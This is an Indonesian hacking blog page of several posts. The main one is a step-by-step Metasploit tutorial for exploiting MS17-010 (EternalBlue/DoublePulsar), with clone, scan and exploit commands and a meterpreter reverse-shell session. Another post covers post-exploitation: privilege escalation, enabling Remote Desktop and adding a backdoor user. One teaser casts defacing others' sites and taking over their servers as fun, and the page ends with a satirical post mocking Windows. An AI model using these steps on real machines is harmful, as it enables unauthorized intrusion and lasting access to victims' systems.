Windows

SMB Remote Code Execution (MS17-010) Eternalblue and Doublepulsar Exploit

May 3, 2017 by Jack Wilder 20 Comments

Kayaknya lagi rame ya exploit ini. Lumayan telat sih kalo saya baru nulis sekarang. kemarin kemarin pun sebenernya males nulis karena udh banyak yang bahas. Berhubung tadi ada yang nanya di fanspage tentang tutorial ini yaudah biar sekalian blog ada isinya.

Exploit ini sebenarnya adalah “private exploit” milik NSA yang berhasil dibocorkan yaitu shadowbroker.

Doublepulsar adalah backdoor yang menginjeksi dan menjalankan kode berbahaya di system operasi target, dan ini diinstall menggunakan exploit Eternalblue yang menyerang service SMB file-sharing. Mirip seperti MS08_067 yang menyerang Windows XP dan Windows Server 2003, MS17-010 yang bersifat remote exploit ini juga tidak membutuhkan backdoor yang harus diinstall secara manual (payload yang diklik oleh korban). Syaratnya, di sistem target service SMB sedang berjalan.

Berikut list sistem operasi Windows yang terinfeksi :

Windows XP (all services pack) (x86) (x64)
Windows Server 2003 SP0 (x86)
Windows Server 2003 SP1/SP2 (x86)
Windows Server 2003 (x64)
Windows Vista (x86)
Windows Vista (x64)
Windows Server 2008 (x86)
Windows Server 2008 R2 (x86) (x64)
Windows 7 (all services pack) (x86) (x64)

Okelah langsung saja apa yang peru disiapkan.

Wine dan NET Framework
Metasploit

Sebelumnya update metasploit terlebih dahulu. Karena di metasploit terbaru sudah ada module scanner untuk MS17-010 .

sudo msfupdate

Semuanya sudah siap? Oke sekarang kita coba download exploit nya.

su
cd ~
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd cd Eternalblue-Doublepulsar-Metasploit/
cp eternalblue_doublepulsar.rb /opt/metasploit-framework/modules/exploit/windows/smb/

Oke waktunya beraksi (lebay wkwkwk).

Dalam tutorial ini ip target yang digunakan adalah 192.168.48.153. Silahkan sesuaikan sendiri ya.

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.48.153
run

Nah jika target nya vuln akan muncul notis yang menunjukkan informasi sistem operasi yang berjalan beserta arsitektur yang dipakai.

Liat gambar aja lebih jelas nya :

Oke target sudah dipastikan vuln. Sekarang kita exploit.

use exploit/windows/smb/eternalblue_doublepulsar
show options

untuk DOUBLEPULSARPATH dan ETERNALBLUEPATH sesuaikan dengan lokasi dimana kalian mendownload file di github nya tadi ya. Itulah kenapa diatas saya ngeclone ke folder root biar gak perlu ngeganti path lagi.

Untuk WINEPATH ya isi dengan drive_c dari wine mu. Gak perlu dijelasin lagi. TARGETARCHITECTURE juga harus diperhatikan karena akan berpengaruh saat proses pembuatan backdoor.

Untuk payload secara default menggunakan arsitektur x86 (windows/meterpreter/reverse_tcp) .

Namun jika targetmu menggunakan 64bit ubah dengan perintah

set payload windows/x64/meterpreter/reverse_tcp

untuk lhost dan lport sesuaikan sendiri.

Kalau sudah oke, langsung jalankan exploit nya.

Contoh output :

msf exploit(eternalblue_doublepulsar) > run

[*] Started reverse TCP handler on 192.168.48.1:4444
[*] 192.168.48.153:445 - Generating Eternalblue XML data
[*] 192.168.48.153:445 - Generating Doublepulsar XML data
[*] 192.168.48.153:445 - Generating payload DLL for Doublepulsar
[*] 192.168.48.153:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.48.153:445 - Launching Eternalblue...
[+] 192.168.48.153:445 - Backdoor is already installed
[*] 192.168.48.153:445 - Launching Doublepulsar...
[*] Sending stage (957487 bytes) to 192.168.48.153
[*] Meterpreter session 2 opened (192.168.48.1:4444 -> 192.168.48.153:49166) at 2017-05-03 13:41:54 +0700
[+] 192.168.48.153:445 - Remote code executed... 3... 2... 1...

meterpreter > sysinfo
Computer        : WIN-KPGGKF4MPSR
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >

Oke cukup jelas kan ? Sekian tutorial kali ini, jika ada yang kurang jelas silahkan komentar atau bisa langsung pm ke fanspage maupun fb saya.

Mengatasi Gagal Add User RDP di Shell Windows

September 14, 2016 by Jack Wilder 2 Comments

Sesuai janji saya sebelumnya, disini saya akan share sedikit trik untuk mengatasi gagal membuat RDP user saat kita mendapatkan shell Windows. Hal ini biasanya disebabkan user dari webserver yang berjalan tidak memiliki hak untuk membuat user baru. Sehingga kita membutuhkan privilege escalation disini.

Cara Mendapatkan RDP Gratis Dengan Shell Windows

September 12, 2016 by Jack Wilder 6 Comments

Bagi yang suka main usil ke server / website orang tentu tidak asing dengan yang nama nya webshell. Lalu apa hal lain yang lebih menyenangkan daripada mendeface web yang sudah berhasil kita tanap shell ? Jika itu server linux maka akan sangat menyenangkan jika ternyata server yang kita eksploitasi rootable, melakukan previlege escalation sehingga kita menguasai seluruh server. Dan jika server Windows, biasanya adalah membuat user RDP di server tersebut.

Mendapatkan Akses Remote Desktop Dengan Metasploit

March 31, 2016 by Jack Wilder 3 Comments

kali ini masih seputar metasploit. Yaitu lanjutan setelah kita mendapatkan meterpreter session di victim. Kita bisa menggunakan fitur getgui nya msf untuk menambahkan user dan mengontrol desktop korban .

Pertama, kita pastikan dulu kita telah mendapat hak akses system di victim, bukan user biasa.

meterpreter > getuid
Server username: WIN-IA0JPLFHM2GUzumaki
meterpreter > getsystem
…got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

Lalu masukkan command untuk menambahkan username dan password :

run getgui -u <username> -p <password>

tapi disini saya mengalami error ketika menambahkan user dan password dengan metode tersebut.

meterpreter > run getgui -u nagisa -p linuxsec
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez [email protected]
[-] Unexpected windows error 1332
[-] Error in script: NoMethodError undefined method `[]’ for nil:NilClass

Kita pakai cara lain.

Pertama, kita enable remote desktop nya dengan getgui.

meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez [email protected]
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it …
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto …
[*] Opening port in local firewall if necessary

Selanjutnya masuk ke cmd shell.

meterpreter > shell
Process 332 created.
Channel 4 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:Windowssystem32>

Lalu tambahkan user dan password dengan command :

net user <username> <password> /add

C:Windowssystem32>net user nagisa linuxsec /add
net user nagisa linuxsec /add
The command completed successfully.
C:Windowssystem32>

Sekarang kembali ke meterpreter shell.

C:UsersUzumakiDesktop>^C
Terminate channel 5? [y/N] y
meterpreter >

Lalu masukkan command ipconfig untuk mengetahui ip korban.

meterpreter > ipconfig

Langkh terakhir adalah mengakses desktop victim dengan user dan password serta ip yang sudah kita atur.
Silahkan gunakn remote desktop client kesukaan kalian, bisa rdesktop, remmina, dll.

Sekian tutorial kali ini, semoga bermanfaat. Share juga ke teman teman mu biar mereka tau.

Fitur Fitur Keren Windows yang Tidak Ada di Linux

September 4, 2015 by Jack Wilder Leave a Comment

Yooossshh kali ini mau post artikel tentang Fitur Fitur Windows yang Tidak Ada di Linux. Seperti yang kita tau, Windows 10 saat ini hadir dengan banyak fitur fitur “wow” nya. Dan tentu saja juga di Windows versi sebelumnya. Dan berikut Fitur Fitur Windows yang Tidak Ada di Linux.

Linux

1. Refresh

Pernah liat kadang tukang print di warnet warnet yang pake Windows ngerefresh desktopnya berulang ulang. Alesannya biar enteng. Padahal cuma jadi beban cpu doang. Tapi sepertinya kurang afdhol kalo ngeklik desktop dan tidak melakukan refresh.

Sayangnya, fitur refresh ini tidak ada di linux. Sekali lagi, TIDAK ADA. Jadi yang tangannya terbiasa merefresh pasti gatal jika menggunakan Linux

2. Perusak Data dan Sistem

Fitur ini sering dinamai dengan virus. Sesuai namanya, vitur ini memiliki peranan penting di sistem windows, salah satunya yang paling sering adalah meng-hidden file atau folder pada usb. Jadi, fitur ini adalah fitur otomatis yang berjalan pada lingkungan Windows dan dapat berjalan secara amat rahasia tanpa diketahui oleh pemilik komputer. Fitur yang hebat bukan?

Tak hanya menyembunyikan berkas, beberapa jenis pengembangan fitur ini juga mampu untuk menggandakan dirinya dan meningkatkan beban penggunaan memory pada komputer, bahkan ada juga lho yang dapat mengubah beberapa fungsi yang akhirnya membuat komputer sulit mati dan sulit nyala. Wih, keren. Meskipun secara default fitur Windows ini tidak langsung aktif, namun rata-rata fitur ini akan secara otomatis aktif bila komputer Windows tersebut terkoneksi dengan internet dan tidak memasang antivirus di komputernya.

Sayangnya fitur ini tidak ada di Linux. Karena untuk mengakses folder sistem dan mengeditnya saja kita harus memasukkan password super user atau autentifikasi tambahan. Sangat disayangkan.

3. Keylog Privasi

Ini fitur terbaru Windows 10 yang sedang ramai dibicarakan. Fitur keren ini memeliki fungsi yaitu mengingat semua input data dari keyboard yang agan lakukan. Misalnya, agan sedang membuka situs tertentu dan login dengan mengetikkan passwordnya agan, maka secara otomatis fitur ini akan merekamnya dan mengirimkannya pada Microsoft. Dengan kata lain, hampir semua aktivitas agan di lingkungan windows 10 itu diperhatikan oleh pihak MIcrosoft, wow nyaman sekali. Bahkan pacar-pacar kita aja nggak tahu password fb, twitter, apalagi rekening kita, tapi Microsoft tahu lho. Perhatian banget kan? Kalo nggak percaya, baca nih ada situsnya http://localghost.org/posts.

Apesnya, fitur hebat ini belum ada yang mengembangkan di linux. Jadi, yah . . .terima nasib ajalah.

4. Loaderable atau Aktivatorable

Loaderable atau aktivatorable adalah fitur yang sudah cukup lama dapat digunakan di windows. Fitur ini memungkinkan windows untuk dapat digunakan tanpa harus membayar sepeser pun untuk waktu yang tidak ditentukan. Untuk menggunakan fitur ini, biasanya diperlukan alat tambahan semacam KMSpico, 7loader, XP activator dan lain-lain. Ajaibnya, dengan pengaktifan fitur ini, Windows bajakan bisa seolah oleh menjadi Windows berlisensi.

Namun sayangnya para developer Linux tidak tertarik dengan hal diatas, jadi kalau kalian ingin menggunakannya harus menggunakan Windows terlebih dahulu. Tertarik?

5. Software Ghaib

Software ini adalah software keren yang kata orang disebut malware di Windows. Ini merupakan software “bonus” ketika kita menginstall aplikasi crack tertentu. jadi misak kita menginstall software editing misalnya, kita dapat bonus plugins browser yang tentu bermanfaat untuk mengisi ruang kosong di HDD kita.

Berbeda dengan linux yang hanya memasang software yang kita mau tanpa memberi bonus apa-apa. Misalnya kita install wine, ya sudah wine itu aja bonusnya. Pelit banget kan?

Pada intinya, semua OS itu pasti punya kekurangan dan kelebihan yang beragam. Semua tergantung penilaian masing masing.
Sekian artikel kali ini semoga bermanfaat.